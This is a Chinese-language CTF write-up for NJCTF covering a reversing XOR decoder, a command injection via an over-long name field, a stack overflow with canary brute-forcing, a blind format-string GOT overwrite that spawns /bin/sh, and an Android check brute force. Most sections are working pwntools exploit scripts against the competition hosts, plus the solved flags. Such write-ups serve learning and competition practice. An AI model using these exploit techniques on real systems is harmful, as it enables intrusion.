0x00: 只做了几个很水的题目…我好菜啊
0x01:re300 找到了原题…直接用脚本解的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from itertools import cycleimport subprocessdef xor (s1, s2, enc_add ): return '' .join(chr (ord (a) ^ ord (b) ^ enc_add) for a,b in zip (cycle(s1), s2)) keys = [str (x)*3 for x in range (1 , 500 )] out, _ = subprocess.Popen(['./re300' ], stdout=subprocess.PIPE).communicate() hex_enc = out.split('\n' )[0 ].split()[-1 ] enc = hex_enc.decode('hex' ) for key in keys: enc_add = len (enc) & 0xFF ; enc = xor(key, enc, enc_add) print enc
得到NJCTF{2c3010644150e03b6630a0b3b7f8607b}
0x02:vsvs 脑洞…数字22是爆破来的,然后就不知道干啥了,瞎脑洞发现可以足够长的buffer之后的字符串会被当成命令执行(name那里)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *def login (p,code ): p.recvuntil('code:' ) p.sendline(str (code)) def handle (p,input ,name ): p.recvuntil('input:' ) p.sendline(str (input )) p.recvuntil('name?' ) p.sendline(str (name)) def main (): length = 1024 ''' while True: p = remote('218.2.197.235',23749) login(p,22) payload = "a" * length + 'ls' handle(p,'muhe',payload) length += 1 p.close() ''' p = remote('218.2.197.235' ,23749 ) login(p,22 ) payload = "a" * length + 'cat<flag' handle(p,'muhe' ,payload) print p.recvline() if __name__ == '__main__' : main()
0x03:pwn200 栈溢出简单粗暴,不过需要暴力猜解canary,然后直接ret到send flag的函数那里,把flag读回来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *context.log_level = 'debug' context.arch = 'amd64' LOCAL = False ''' if LOCAL: p = process('filename') else: p = remote('127.0.0.1',5555) ''' def crack_canary (): canary = "\x00" while True : if len (canary) == 8 : break for item in range (0xff ): canary_tmp = canary + chr (item) try : r = remote('218.2.197.234' , 2090 ) r.recvuntil("Welcome!\n" ) payload = "A" *(0x70 -8 ) payload += canary_tmp r.send(payload) data = r.recv(100 ,timeout=1 ) if "Message received!" in data: canary += chr (item) log.info("get:{0}" .format (hex (item))) break r.close() except : continue log.info("[*] canary:{0}" .format (hex (u64(canary)))) return canary def main (): canary = 0x9dccf42e364dcf00 payload = "a" *(0x70 -0x8 ) + p64(canary) + "aaaaaaaa" +p64(0x0000000000400BC6 ) r = remote('218.2.197.234' , 2090 ) r.recvuntil("Welcome!\n" ) r.send(payload) print r.recvline(1024 ,timeout=0.5 ) r.close() if __name__ == '__main__' : main()
0x04 : pwn300(未做出) 无bin文件的格式化字符串,探测之后发现时x86的程序。 首先dump file吧,然后leak got,查libc,确定system,直接改了printf的got去get shell。 比赛的时候offset一直查不到…就gg了,后来joker师傅的libc库贼全,给了我offset。(我一定好好收集libc…)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import *context.log_level = 'debug' context.arch = 'i386' LOCAL = False if LOCAL: p = process('filename' ) else : p = remote('218.2.197.235' ,23745 ) setbuf_got = 0x08049970 printf_got = 0x08049974 puts_got = 0x08049980 fgets_got = 0x08049978 strchar_got= 0x08049984 def info_leak (addr,length=0 ): payload = "BBBB" + "%9$s" + p32(addr) + "AAAA" p.sendline(payload) p.recvuntil('BBBB' ) data = u32(p.recv(4 )) return data def exp (offset ): p.recvuntil('me' ) data = info_leak(setbuf_got) log.info("puts:{0}" .format (hex (data))) data = info_leak(fgets_got) log.info("setbuf:{0}" .format (hex (data))) data = info_leak(fgets_got) log.info("fgets:{0}" .format (hex (data))) data = info_leak(strchar_got) log.info("strchr:{0}" .format (hex (data))) data = info_leak(printf_got) log.info("printf:{0}" .format (hex (data))) system_addr = data - offset log.info("system:{0}" .format (hex (system_addr))) write = system_addr & 0xffffff two = write&0xffff one = (write>>16 )&0xff payload = p32(printf_got+2 ) payload += p32(printf_got) payload += "%{0}c%7$hhn%{1}c%8$hn" .format (one-8 ,two-one) p.sendline(payload) p.sendline("/bin/sh" ) p.interactive() def main (): remote_offset = 0xe6e0 exp(remote_offset) if __name__ == '__main__' : main()
0x05: mobile100-safebox 暴力跑testAndroid里的check逻辑,可以得到两组解,只有一组符合要求。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 package com.muhe;import javafx.beans.property.IntegerProperty;import java.util.ArrayList;public class Main { public static void main (String[] args) { String flag = "NJCTF{have" ; int num1 = 48533584 ; System.out.println(flag + (((char )(num1 / 1000000 ))) + (((char )(num1 / 10000 % 100 ))) + (((char )(num1 / 100 % 100 +10 ))) + "f4n}" ); num1 = 48539584 ; System.out.println(flag + (((char ) (num1 / 1000000 ))) + (((char ) (num1 / 10000 % 100 ))) + (((char ) (num1 / 100 % 100 + 10 ))) + "f4n}" ); Crack ck = new Crack(); ArrayList list = new ArrayList(); int num = 10000000 ; while (true ){ if (num>99999999 ){ break ; } boolean ret = ck.crack(num); if (ret){ list.add(num); } num += 1 ; } System.out.println("Done" ); for (int i = 0 ;i<list.size();i++){ System.out.println(list.get(i)); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package com.muhe;public class Crack { public boolean crack (int v4) { int v11 = 3 ; if (v4 > 10000000 && v4 < 99999999 ) { int v7 = 1 ; int v8 = 10000000 ; int v3 = 1 ; if (Math.abs(v4 / 1000 % 100 - 36 ) == v11 && v4 % 1000 % 584 == 0 ) { int v5 = 0 ; while (v5 < v11) { if (v4 / v7 % 10 != v4 / v8 % 10 ) { v3 = 0 ; } else { v7 *= 10 ; v8 /= 10 ; ++v5; continue ; } break ; } if (v3 != 1 ) { return false ; } return true ; } } return false ; } }
得到结果
1 2 3 4 5 NJCTF{have05-f4n} NJCTF{have05if4n} //这个就是flag Done 48533584 48539584